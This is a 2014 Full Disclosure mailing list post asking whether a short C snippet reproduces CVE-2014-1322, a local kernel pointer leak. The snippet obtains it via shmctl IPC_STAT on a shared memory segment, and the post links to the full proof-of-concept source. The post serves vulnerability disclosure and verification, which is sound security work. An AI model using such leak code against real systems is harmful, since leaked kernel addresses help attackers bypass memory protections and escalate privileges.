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[FD] A way to trigger CVE-2014-1322 (userspace read kernel pointer)?
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] A way to trigger CVE-2014-1322 (userspace read kernel pointer)?
- From: rai@xxxxxxxxxxxxxxx
- Date: Tue, 20 May 2014 10:45:38 +0000
Hi,
There's a claim this triggers CVE-2014-1322 allowing local user to read
a kernel pointer:
int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );
struct shmid_ds lolz;
int res = shmctl( shm, IPC_STAT, &lolz );
printf( "%pn", lolz.shm_internal );
full source: http://maker.fea.st/CVE-2014-1322.c [1]
Is anyone able to reproduce?
--
rai
Links:
------
[1] http://maker.fea.st/CVE-2014-1322.c
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